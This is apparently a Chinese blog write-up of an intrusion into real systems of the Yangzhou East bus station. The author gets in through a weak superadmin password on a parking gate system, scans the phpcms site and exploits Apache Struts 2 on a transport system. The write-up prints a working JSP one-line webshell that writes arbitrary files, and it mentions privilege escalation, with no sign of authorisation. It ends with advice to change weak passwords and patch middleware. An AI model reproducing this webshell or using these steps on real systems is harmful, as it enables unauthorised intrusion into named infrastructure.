先声明,此文章只为记录实战过程和个人绕圈思路,事情起因日常工作中遇到的某车禁系统部署存在的超级管理员弱口令问题,在各种巧合上一步步走下来。首先感谢这位大佬的一句话思路https://bbs.ichunqiu.com/thread-59729-1-1.html.为了验证深圳某顺停车系统在部署时会有一个超级管理员账号和弱口令是一个常见问题,利用fofa找到一个为扬州汽车东站的车禁系统,管理员的确没有考虑这个弱口令的问题。
这个对外的IP地址是云服务器,该系统有数据库资源,但实际搞了一波发现信息泄露不算严重,至少不会有汽车站乘客的个人信息,仅仅包含了车辆门禁使用的车牌等信息。
既然知道是扬州汽车东站这个名称,是不是意味着有官网呢?那么百度试了一下,的确有官网。
正常操作目录走一波,担心会有安全设备,使用的单线程,在后面发现并没有被拦截,包括尝试SQL注入等。
从此处可以看到网站是由phpcms v9搭建部署。都2021年了我想这么老的版本会有利用姿势吗?本着不放过一丝机会原则,还是各种尝试走一波。
发现这个厂家运维是针对这些问题做了代码和漏洞的修复,这样的厂家还是挺良心的。
几番下来,让我开始打退堂鼓了,第一次实战就要没机会了吗?后台爆破也没有机会的,8次以后我发现锁账户。
干脆休息一会,在主页上找找惊喜,果不然在主页右侧有一个导航栏,点开后有如下资源:
直接分类为内网和外网资源,外网点了几个地址无法访问,那看来是遭受过社会大佬的毒打了。
最终锁定在智慧客运系统,发现是明文传输和无验证码,准备爆破的,但有一个key加密.突然发现另外一个惊喜,业务系统用了Apache Struts 2中间件。
后续借用大佬提供的一句话,上传一句话one.jsp;(<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>)
然后在提权一波,这里因为可以直接上马,无需转码了。
总结:弱口令一定要改,不然很多系统都能爆破,直接可以进去;中间件的高危漏洞尽量都要修复,最后不忘删除木马,交稿走人。当然,在删除JSP文件是否发现很多后门木马了, 应该是被搞过4-5次左右。